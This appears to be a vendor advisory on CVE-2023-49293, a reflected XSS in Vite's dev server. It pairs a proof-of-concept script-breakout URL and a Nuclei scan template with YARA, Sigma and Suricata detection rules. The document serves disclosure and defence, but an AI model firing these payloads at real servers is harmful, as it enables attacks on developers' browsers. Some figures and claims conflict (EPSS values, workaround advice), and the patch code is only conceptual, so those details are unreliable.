CVE-2023-49293

Executive Summary

CVE-2023-49293 is a medium-severity Cross-Site Scripting (XSS) vulnerability affecting the Vite frontend framework's development server. The flaw arises when server.transformIndexHtml is invoked manually with an unmodified request URL, and the HTML being transformed contains inline module scripts (<script type="module">...</script>). An attacker can inject arbitrary HTML into the transformed output by crafting a malicious URL query string. This vulnerability only impacts applications using appType: 'custom' with the default Vite HTML middleware. The attack requires user interaction (clicking a malicious URL) while the dev server is running. The CVSS score is 6.1 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild. Patches are available in Vite versions 5.0.5, 4.5.1, and 4.4.12.

Supply Chain & Package Security

This vulnerability affects the Vite npm package, which is a widely used frontend build tool and development server. Organizations using Vite in custom SSR or development server configurations should treat this as a supply chain risk. The package is distributed via the npm registry, and compromised versions could lead to client-side attacks. Ensure that package-lock.json or yarn.lock files are updated to patched versions, and consider using npm audit or Snyk to monitor for vulnerable dependencies.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a malicious link
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L) – limited information disclosure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: None (A:N)
• EPSS Score: 0.0% (as of analysis date) – very low probability of exploitation in the wild
• Threat Level: Low to Medium – requires user interaction and specific configuration

Deep Dive & Mechanics

The vulnerability resides in Vite's HTML transformation middleware when appType: 'custom' is used. In this mode, developers manually invoke server.transformIndexHtml to process HTML responses. The function receives the original request URL without sanitization. When the HTML contains inline module scripts (e.g., <script type="module">...</script>), Vite attempts to rewrite module specifiers in the script content. An attacker can inject a payload via the URL query string that, when processed, breaks out of the script context and injects arbitrary HTML.

For example, a URL like /?"></script><script>alert(document.domain)</script> causes the transformation to produce an HTML response containing the injected script. The injected payload is reflected in the response body, leading to XSS in the victim's browser.

The vulnerability is specific to:

• appType: 'custom' configuration
• Manual invocation of server.transformIndexHtml
• HTML entry containing inline <script type="module"> blocks
• Default Vite HTML middleware

Standard vite dev usage is not affected.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In Vite's HTML transformation middleware (simplified)
server.transformIndexHtml(url, html) {
  // url is used directly without sanitization
  // Inline module scripts are rewritten based on url
  return transformHtml(html, url);
}

Patched Code (Conceptual):

// In Vite's HTML transformation middleware (simplified)
server.transformIndexHtml(url, html) {
  // Sanitize the URL to prevent injection
  const sanitizedUrl = new URL(url, 'http://localhost').search;
  // Use sanitized URL for transformation
  return transformHtml(html, sanitizedUrl);
}

The patch ensures that the URL query string is properly encoded or stripped of dangerous characters before being used in HTML transformation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Vite dev server running with appType: 'custom'
• HTML entry file containing an inline module script (e.g., <script type="module">import './main.js'</script>)
• Victim must click a crafted link

Exploit Payload:

http://target-dev-server:5173/?"></script><script>alert(document.domain)</script>

Nuclei Template (Provided):

id: CVE-2023-49293

info:
  name: Vite dev server - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Vite's dev server, when used with `appType: 'custom'` and manually invoking `server.transformIndexHtml` using the unmodified request URL, is vulnerable to XSS via a crafted URL payload. If the HTML being served includes an inline module script (`<script type="module">...</script>`), an attacker can inject a script via the URL, potentially leading to XSS in the browser. The vulnerability only affects certain custom SSR/dev configurations, not plain `vite dev`.
  impact: |
    Attackers can inject malicious HTML into the page, potentially leading to cross-site scripting or other client-side attacks.
  remediation: |
    Update to vite@5.0.5, vite@4.5.1, or vite@4.4.12.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-92r3-m2mg-pj97
    - https://nvd.nist.gov/vuln/detail/CVE-2023-49293
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-49293
    epss-score: 0.07848
    epss-percentile: 0.92012
    cwe-id: CWE-80
  metadata:
    max-request: 1
    fofa-query: body="/@vite/client"
    shodan-query: http.html:"/@vite/client"
  tags: cve,cve2023,vite,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/?%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E "

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'src="/@id/__x00__/?"></script><script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

Usage: Run the Nuclei template against a target Vite dev server. The template sends a GET request with the malicious query string and checks for the injected script in the response body.

Blue Team

Detection Steps:

1. Monitor Vite dev server logs for unusual query strings containing script tags or HTML entities.
2. Inspect HTTP responses for unexpected script injection in the HTML body.
3. Verify that appType is not set to 'custom' unless absolutely necessary.
4. Ensure Vite is updated to patched versions (5.0.5, 4.5.1, or 4.4.12).

Lab Setup:

• Create a vulnerable Vite project with appType: 'custom' and an inline module script.
• Run npx vite to start the dev server.
• Use curl or a browser to test the exploit payload.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to Vite dev server with query strings containing </script><script> or similar patterns.
  • Responses containing src="/@id/__x00__/?"></script><script>alert(document.domain)</script>.
• File IOCs:
  • Vite configuration files (vite.config.js) with appType: 'custom'.
  • HTML files containing inline <script type="module"> blocks.
• Behavioral IOCs:
  • Unexpected script execution in the browser when visiting a Vite dev server URL.
  • Alerts or popups from alert(document.domain) or similar payloads.

Detection Engineering

YARA Rule

rule CVE_2023_49293_Vite_XSS {
  meta:
    description = "Detects Vite dev server responses containing XSS payload from CVE-2023-49293"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-49293"
  strings:
    $xss_payload = /src="\/@id\/__x00__\/\?"><\/script><script>alert\(document\.domain\)<\/script>/
  condition:
    $xss_payload
}

Sigma Rule

title: Vite Dev Server XSS Attempt (CVE-2023-49293)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Vite dev server with XSS payload in query string
author: Valters IT
date: 2025-04-10
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2023-49293
logsource:
  category: webserver
  product: apache
  service: access_combined
detection:
  selection:
    cs-uri-query|contains: 
      - '"></script><script>'
      - '%22%3E%3C/script%3E%3Cscript%3E'
  condition: selection
falsepositives:
  - Legitimate use of similar patterns in development
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-49293 Vite Dev Server XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/?"; http_uri; content:"%22%3E%3C/script%3E%3Cscript%3E"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Vite to patched versions: npm install vite@5.0.5 (or 4.5.1, 4.4.12).
2. If immediate update is not possible, avoid using appType: 'custom' with inline module scripts.
3. Implement input validation on the URL query string before passing to server.transformIndexHtml.

Long-Term Mitigations:

• Use a Web Application Firewall (WAF) to filter malicious query strings.
• Enforce Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular dependency audits with npm audit or Snyk.
• Educate developers about the risks of using custom dev server configurations.

Workarounds:

• No official workarounds exist; patching is the only reliable fix.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 693008E699D7555BBD660A62] */}